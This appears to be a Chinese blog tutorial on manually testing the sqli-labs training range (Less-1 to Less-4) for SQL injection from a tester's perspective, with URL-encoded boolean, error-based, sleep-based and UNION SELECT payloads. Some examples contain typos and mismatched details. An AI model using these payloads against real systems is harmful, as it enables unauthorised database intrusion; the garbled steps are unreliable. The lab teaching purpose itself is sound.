文章目录
前言
免责声明
本篇的立意是从测试的角度去进行手工安全测试,如果利用本文章造成任何直接或者间接的后果及损失,均由使用者本人负责,本作者不为此
承担任何责任,一旦造成后果请自行承担
!
在关于安全测试时,sql注入是一个绕不开的问题,如果处理不好,可能会带来很多问题,甚至造成数据泄露等问题,
而如果利用扫描工具对项目扫描的话,如果存在sql注入的漏洞则会对数据库造成一定影响,所以如果采用扫描工具对整体项目进行扫描时,一定要在测试环境,或者本地环境,且先给数据库备份,切记生产环境中
,不能
利用扫描工具扫描
而对安全性更高要求的项目,就需要结合手工测试,去排查一个个接口,是否存在问题
故而,在此以测试的角度去对sql注入的问题进行详细的讲解,如果本篇文章有问题,或疑问,请在评论区说明,我会尽快更改文章,或答疑
由于 sql 注入比较重要,篇幅比较长,会从靶场中的每个漏洞去系统的展示,到最后的总结,所以篇幅会比较长,可能会分为多篇进行发布
注:
1.本篇的靶场采用 sqliLabs ,部署步骤,后续会放到另一篇文章上
2.采用的扫描工具为 sqlmap,后续也会详细讲解该工具
3.采用的拦截工具为 burpsuite (为了方便看页面效果,本篇文章中就直接操作的网址,实际项目当中要用拦截工具去一步步调试的)
一、基于错误-单引号-字符串的get请求的sql注入(Less-1)
1.1 正常情况
接口地址:http://{ip}/Less-1/?id=1
{ip} :为你直接的ip地址
实际执行的sql语句:
selecet * from users where id='1'
页面展示
1.2 加 单引号
接口地址:http://{ip}/Less-1/?id=1%27
# 注:由于这是url中的数值,特殊符号需要转换为url编码,单引号的url编码为:%27
实际执行的sql语句
selecet * from users where id='1''
页面展示
如果加单引号/双引号,结果不相同,这样的接口一般都存在sql注入的问题
遇到这种情况,有两种处理方法,
1.用sqlmap 扫描这个接口
2.往下进行手工测试判断(着重讲解)
报错原因:
sql语句的单引号未闭合
1.3 sqlmap 扫描结果
从图中可以看出,该接口有四种sql注入类型
1.布尔盲注类型
2.基于错误响应类型
3.基于时间类型的注入
4.联合查询接下来,就从手工的角度去分析这四个类型怎么判断的
1.4 布尔盲注类型
意思:利用它来确定数据库中布尔表达式的真假值。这可以通过观察应用程序的响应或使用盲注技术来实现。
1.4.1 查询正常
接口地址:http://{ip}/Less-1/?id=1%27%20and%20%271%27=%271
解析后的地址:http://{ip}/Less-1/?id=1' and '1'='1
# 注:由于这是url中的数值,特殊符号需要转换为url编码,
# 单引号的url编码为:%27
# 空格的url编码为:%20
实际执行的sql语句
selecet * from users where id='1' and '1'='1'
页面展示
1.4.2 查询失败
接口地址:http://{ip}/Less-1/?id=1%27%20and%20%271%27=%272
解析后的地址:http://{ip}/Less-1/?id=1' and '1'='2
实际执行的sql语句
selecet * from users where id='1' and '1'='2'
页面展示
错误原因:
id=1 为true,但 ‘1’=‘2’ 为false,由于用的and 连接,整体都为false
所以查询不到数据
1.5 基于错误响应类型
意思:利用它来利用应用程序的错误消息来提取信息。这可以通过在注入有效载荷中包含语法错误或其他错误来实现,从而迫使应用程序返回包含敏感信息的错误消息。
其实 1.2 处就能确定,它是存在 基于错误响应类性的sql注入了,基于错误响应的白话就是,接口的响应结果当中,存在sql语句的报错信息
接口地址:http://{ip}/Less-1/?id=1%27
# 注:由于这是url中的数值,特殊符号需要转换为url编码,单引号的url编码为:%27
实际执行的sql语句
selecet * from users where id='1''
页面展示
1.6 基于时间的注入
意义:利用它来测量数据库执行查询所需的时间。这可以通过在注入有效载荷中包含时间延迟函数来实现,从而使攻击者能够推断出数据库中数据的某些特征。
接口地址:http://{ip}/Less-1/?id=2%27or%20sleep(1)%20--%20
解析后的地址:http://{ip}/Less-1/?id=2' or sleep(1) --
实际执行的sql语句
selecet * from users where id='2' or sleep(1) -- '
有效的sql语句
selecet * from users where id='2' or sleep(1)
页面展示
页面刷新后会暂停几秒钟,理论上应该是1s,但这里应该是有延迟的,
可以和正常访问对比一下,会发现响应时间明显加长,这种就是有问题的(我这边把gif加速了)
1.7 联合查询注入
利用它来将任意 SQL 查询的结果与应用程序的合法查询结果组合在一起。这使得攻击者可以绕过应用程序的输入验证和过滤机制,并提取敏感信息。
接口地址:http://{ip}/Less-1/?id=-1%27%20union%20select%201,2,3%20--%20
解析后的地址:http://{ip}/Less-1/?id=-1' union select 1,2,3 --
意思:将返回结果改为 1,2,3,如果页面有调用返回结果,则会在页面上回显为 1,2,3
将id=1 改为 id=-1的意思:
意思是 将该列强制转换为数字,而不是字符串。这会导致 MySQL 将该列视为数字,而不是字符串,从而避免了字符串截断问题。
例如,考虑以下查询:
SELECT * FROM users WHERE id = '1' UNION SELECT 1, 2, 3;
在这个查询中,攻击者正在尝试注入一个额外的行到 users 表中。但是,由于 id 列是一个字符串列,MySQL 会将查询截断为:
SELECT * FROM users WHERE id = '1
这将导致查询失败
这样做的意义,id=-1永远不会为真,因此第一个 SELECT 语句的结果集将为空。因此,简化后的 SQL 语句的结果集将只有 SELECT 1,2,3 的结果,即 (1, 2, 3)。
实际执行的sql语句
selecet * from users where id='-1' union select 1,2,3 -- '
有效的sql语句
selecet * from users where id='-1' union select 1,2,3
页面展示
在联合查询的基础上,还可以查询出数据库中很多信息,在此不过多介绍,因为从测试的角度来说用不到,也没必要获取那些信息,我们只需要证明有问题就行了
二、基于错误-基于整数的get请求的sql注入(Less-2)
2.1 正常情况
接口地址:http://{ip}/Less-2/?id=1
实际执行的sql语句:
selecet * from users where id=1
页面展示
2.2 加 单引号
接口地址:http://{ip}/Less-1/?id=1%27
# 注:由于这是url中的数值,特殊符号需要转换为url编码,单引号的url编码为:%27
实际执行的sql语句
selecet * from users where id=1'
页面展示
2.3 sqlmap 扫描结果
从图中可以看出,该接口有四种sql注入类型
1.布尔盲注类型
2.基于错误响应类型
3.基于时间类型的注入
4.联合查询接下来,就从手工的角度去分析这四个类型怎么判断的
2.4 布尔盲注类型
2.4.1 查询正常
接口地址:http://{ip}/Less-2/?id=1%20and%201=1
解析后的地址:http://{ip}/Less-2/?id=1 and 1=1
实际执行的sql语句
selecet * from users where id=1 and 1=1
页面展示
2.4.2 查询失败
接口地址:http://{ip}/Less-2/?id=1%20and%201=2
解析后的地址:http://{ip}/Less-2/?id=1 and 1=2
实际执行的sql语句
selecet * from security where id=1 and 1=2
页面展示
错误原因:
id=1 为true,但 1=2 为false,由于用的and 连接,整体都为false
所以查询不到数据
2.5 基于错误响应类型
同 2.2 步一致
2.6 基于时间的注入
接口地址:http://{ip}/Less-2/?id=2%20or%20sleep(1)
解析后的地址:http://{ip}/Less-2/?id=2 or sleep(1) --
实际执行的sql语句
selecet * from users where id=2 or sleep(1) -- '
有效的sql语句
selecet * from users where id=2 or sleep(1)
页面展示
页面刷新后会暂停几秒钟,理论上应该是1s,但这里应该是有延迟的,
可以和正常访问对比一下,会发现响应时间明显加长,这种就是有问题的
2.7 联合查询注入
接口地址:http://{ip}/Less-2/?id=-1%20union%20select%201,2,3
解析后的地址:http://{ip}/Less-2/?id=-1 union select 1,2,3
实际执行的sql语句
selecet * from users where id='-1' union select 1,2,3
页面展示
三、基于错误-字符串和括号的get请求的sql注入(Less-3)
3.1 正常情况
接口地址:http://{ip}/Less-3/?id=1
实际执行的sql语句
selecet * from users where (id='1')
页面展示:
3.2 加单引号
接口地址:http://{ip}/Less-3/?id=1’
实际执行的sql语句
selecet * from users where (id='1'')
页面展示:
3.3 sqlmap 扫描结果
从图中可以看出,该接口有四种sql注入类型
1.布尔盲注类型
2.基于错误响应类型
3.基于时间类型的注入
4.联合查询接下来,就从手工的角度去分析这四个类型怎么判断的
3.4 布尔盲注类型
3.4.1 查询正常
接口地址:http://{ip}/Less-3/?id=1%27)%20and%20%271%27=%271%27%20--%20
解析后的地址:http://{ip}/Less-3/?id=1') and '1'='1' --
实际执行的sql语句
selecet * from users where (id='1') and '1'='1' -- )
有效sql语句
selecet * from users where (id='1') and '1'='1'
页面展示
3.4.2 查询失败
接口地址:http://{ip}/Less-3/?id=1%27)%20and%20%271%27=%272%27%20--%20
解析后的地址:http://{ip}/Less-3/?id=1 and '1'='2'
实际执行的sql语句
selecet * from users where (id='1') and '1'='2' -- )
有效sql语句
selecet * from users where (id='1') and '1'='2'
页面展示
3.5 基于错误响应类型
同 3.2 步 一致
3.6 基于时间的注入
接口地址:http://{ip}/Less-3/?id=2%27)%20or%20sleep(1)%20--%20
解析后的地址:http://{ip}/Less-3/?id=1') or sleep(1) --
实际执行的sql语句
selecet * from users where (id='2')or sleep(1) --
有效sql语句
selecet * from users where (id='2')or sleep(1)
页面展示
3.7 联合查询注入
接口地址:http://{ip}/Less-3/?id=1')
解析后的地址:http://{ip}/Less-3/?id=1')
实际执行的sql语句
selecet * from users where (id='2')union select 1,2,3 --
有效sql语句
selecet * from users where (id='2')union select 1,2,3
页面展示
四、基于错误-双引号字符串的get请求的sql注入(Less-4)
4.1 正常情况
接口地址:http://{ip}/Less-4/?id=1
实际执行的sql语句
selecet * from users where (id='“1“')
页面展示:
4.2 加双引号
接口地址:http://{ip}/Less-4/?id=1"
实际执行的sql语句
selecet * from users where (id="1"")
页面展示:
4.3 sqlmap 扫描结果
从图中可以看出,该接口有四种sql注入类型
1.布尔盲注类型
2.基于错误响应类型
3.基于时间类型的注入
4.联合查询接下来,就从手工的角度去分析这四个类型怎么判断的
4.4 布尔盲注类型
4.4.1 查询正常
接口地址:http://{ip}/Less-4/?id=1")%20and%201=1%20--%20
解析后的地址:http://{ip}/Less-4/?id=1") and 1=1 --
实际执行的sql语句
selecet * from users where (id="1") and 1=1 -- ")
有效sql语句
selecet * from users where (id="1") and 1=1
页面展示
4.4.2 查询失败
接口地址:http://{ip}/Less-4/?id=1")%20and%201=2%20--%20
解析后的地址:http://{ip}/Less-4/?id=1") and 1=2 --
实际执行的sql语句
selecet * from users where (id="1") and 1=1 -- ")
有效sql语句
selecet * from users where (id="1") and 1=2
页面展示
4.5 基于错误响应类型
同 3.2 步 一致
4.6 基于时间的注入
接口地址:http://{ip}/Less-4/?id=2")%20or%20sleep(1)%20--%20
解析后的地址:http://{ip}/Less-4/?id=2") or sleep(1) --
实际执行的sql语句
selecet * from users where (id="1") or sleep(1) -- ")
有效sql语句
selecet * from users where (id="1")or sleep(1)
跟其他模块一样,就不过多展示这个了
3.7 联合查询注入
接口地址:http://{ip}/Less-4/?id=-1")%20union%20select%201,2,3%20--%20
解析后的地址:http://{ip}/Less-2/?id=-1") union select 1,2,3% --
实际执行的sql语句
selecet * from users where(id="-1")union select 1,2,3 -- ")
有效sql语句
selecet * from users where (id="-1")union select 1,2,3
页面展示
总结
从以上四条可以看出以下规律
1.在原路径后加单引号或双引号,前后查询结果不一致,就基本上都有sql漏洞
2.响应结果当中一定不能有关于sql语句的报错信息,否则可以去推断后台执行的sql语句,从而针对性的修改就可以对数据库造成影响
说一下我是怎么去做这四条sql漏洞的手工操作思路吧,以供参考,看别人的文章都是从技术层面上说明了,但没有说测试思路,理解起来很费劲,如果这些内容帮助到你了,点个赞支持一下哦
1.先在路径后加单引号或双引号 即 id=1’
2.如果前后结果不一致( id=1 时和 id=1’ 时)就可以证明有sql漏洞
3.如果不一致就,用 sqlmap 扫描,只用 sqlmap 扫描不会对数据库进行扫描
4.如果响应结果当中有sql的错误信息,可以尝试一下布尔盲注,或者也可以根据 sqlmap 的扫描结果,去针对性的尝试,但一般不需要,毕竟测试,只需要测出有问题就行了,实际项目当中有很多接口,不可能把所有时间都放在那一个接口上面
最后,这只是我目前测试sql的思路和方法,如果您有更好的方法或思路,也请您不吝赐教